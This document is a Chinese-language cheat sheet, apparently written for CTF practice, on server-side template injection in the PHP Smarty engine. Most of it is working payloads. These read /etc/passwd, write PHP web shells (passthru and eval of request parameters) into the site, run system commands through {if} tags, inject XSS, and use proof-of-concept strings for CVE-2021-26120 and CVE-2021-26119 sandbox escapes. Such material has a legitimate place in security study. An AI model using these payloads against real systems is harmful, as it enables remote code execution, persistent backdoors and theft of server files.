smarty

Smarty 模板是基于 PHP 开发的模板,我们可以利用 Smarty 实现程序逻辑与页面显示(HTML/CSS)代码分离的功能。

测试方法

${7*7}——>a{*cccc*}b———>smarty
{*----*}:为smarty的注释 若不解析里面的东西就可以判断为smarty

测试版本:{$smarty.version}

常用攻击方式

获取类的静态方法

我们可以通过 self 标签来获取 Smarty 类的静态方法,比如我们可以获取 getStreamVariable 方法来读文件

{self::getStreamVariable(“file:///etc/passwd”)}
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}

3.1.30 中 Smarty 版本中官方已经将 getStreamVariable 静态方法删除

利用smarty标签
{literal}
让一个模板区域的字符原样输出。这经常用于保护页面上的Javascript或css样式表,避免因为 Smarty 的定界符而错被解析。
造成xss:
{literal}<script>alert(xss)</script>{/literal}
在php5环境中存在PHP 标签, <scriptlanguage=”php”></script>,可以结合利用实现php代码执行

{if} 标签
Smarty 的 {if} 条件判断和 PHP 的 if 非常相似,只是增加了一些特性。每个 {if} 必须有一个配对的 {/if},也可以使用 {else} 和 {elseif} ,全部的PHP条件表达式和函数都可以在 {if} 标签中使用

if phpinfo()}{/if}
{if readfile ('/flag')}{/if}
{if show_source('/flag')}{/if}
{if system('cat /flag')}{/if}

{php}
Smarty3 官方手册中明确表示已经废弃 {php} 标签,不建议使用。在 Smarty3.1, {php} 仅在 SmartyBC 中可用。
{php}echo id;{/php}

getshell
smarty的目录结构中有文件的权限可能存在可写,比如templates_c文件
{if system("echo '<?php @eval($_POST["cmd"]);?>' > templates_c/shell.php")}{/if}

echo "\""
"

CVE分析
CVE-2017-1000480
影响版本 smarty<=3.1.32
原理闭合前后注释符号
分析复现待定

CVE-2021-29454
影响版本 smarty < 3.1.42 OR smarty < 4.0.2
由于 math 标签中的 eval 导致的任意代码执
行。
分析复现待定

CVE-2021-26120
影响版本 Smarty < 3.1.39
为 SmartyInternalRuntime_TplFunction 沙箱逃逸漏洞,所利用 POC 如下:

string:{function+name='rce(){};system("id");function+'}{/function}

CVE-2021-26119
影响版本 Smarty<=3.1.38
为 Smarty template_object 沙箱逃逸 PHP 代码注入漏洞,所利用 POC 如下:

string:{$s=$smarty.template_object->smarty}{$fp=$smarty.template_object->compiled->filepath}{Smarty_Internal_Runtime_WriteFile::writeFile($fp,"<?php+phpinfo();",$s)}